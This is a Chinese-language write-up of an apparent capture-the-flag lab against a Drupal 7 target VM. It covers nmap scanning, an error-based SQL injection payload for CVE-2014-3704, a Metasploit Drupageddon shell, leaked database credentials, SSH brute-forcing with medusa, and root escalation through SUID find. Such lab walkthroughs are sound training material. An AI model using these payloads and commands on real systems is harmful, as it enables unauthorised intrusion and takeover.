靶机下载地址
信息收集
主机探测
sudo nmap -sn 10.10.10.0/24
发现目标靶机IP地址10.10.10.5
初步扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.10.5
可知以下信息
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
50382/tcp open unknown
详细信息扫描
sudo nmap -sT -sC -sV -O -p 22,80,111,50382 10.10.10.5
可知以下信息
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4
50382/tcp open
Running: Linux 3.X
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
漏洞脚本扫描
可知以下信息
| http-enum:
| /rss.xml: RSS or Atom feed
| /robots.txt: Robots file
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /: Drupal version 7
| /README: Interesting, a readme.
| /README.txt: Interesting, a readme.
| /0/: Potentially interesting folder
|_ /user/: Potentially interesting folder
80端口存在SQL注入cve2014-3704:
UDP扫描
sudo nmap -sU --top-ports 100 10.10.10.5
111/udp open rpcbind
WEB指纹识别
访问80端口发现是durpal CMS但是不知道版本号
渗透过程
flag1
发现存在SQL注入,是POST型报错注入。
payload
name[0||extractvalue(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block
&op=Log in
使用msfconsole获取shell
使用drupal_drupageddon
设置好RHOSTS和RPORT输入run即可获取到shell
发现flag1.txt
flag2
查看durpal配置文件发现flag2和数据库账户和密码,提示我们不要暴力破解。
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
flag3
登录数据库,查看用户表信息,确实我破解不出来。
在/var/www目录下找到drupal的密码加密文件使用它得到自己的一个哈希值,然后修改表把admin的密码改了。
使用修改后的密码登录admin,可以看到成功登录。
发现flag3
告诉需要查看passwd和shadow文件的权限,并且可能需要使用find命令的-exec选项来找到某些信息。那这里大概率就是暗示我们要用SUID来提权了。
flag4
查看/etc/passwd发现flag4,发现flag4是一个可登录用户
使用medusa密码爆破,因为想不到其它方法能够提权,只能看能不能破解flag4的密码。
medusa -M ssh -h 10.10.10.5 -u flag4 -P /usr/share/wordlists/rockyou.txt -f -t 5
大概几分钟就能够得到密码orange
使用flag4 orange成功登录用户flag4,id查看权限,仍然不能直接切换到root,还需要提权
thefinalflag
查找具有SUID权限的文件
find / -perm -4000 2>/dev/null|ls -l
发现find被设置了SUID权限
使用find进行提权
find . -exec /bin/sh \;
成功得到root用户,并且在root目录下得到了thefinalflag.txt。
总结
本次渗透测试通过SQL注入漏洞拿到反弹shell,通过敏感文件获取数据库账号密码,获取表文件得到用户名和加密后的密码,通过篡改表密码登录到drupal后台获取flag3,查看/etc/passwd获取flag4,发现flag4是一个可登录用户,用medusa进行暴力破解登录,使用SUID提权。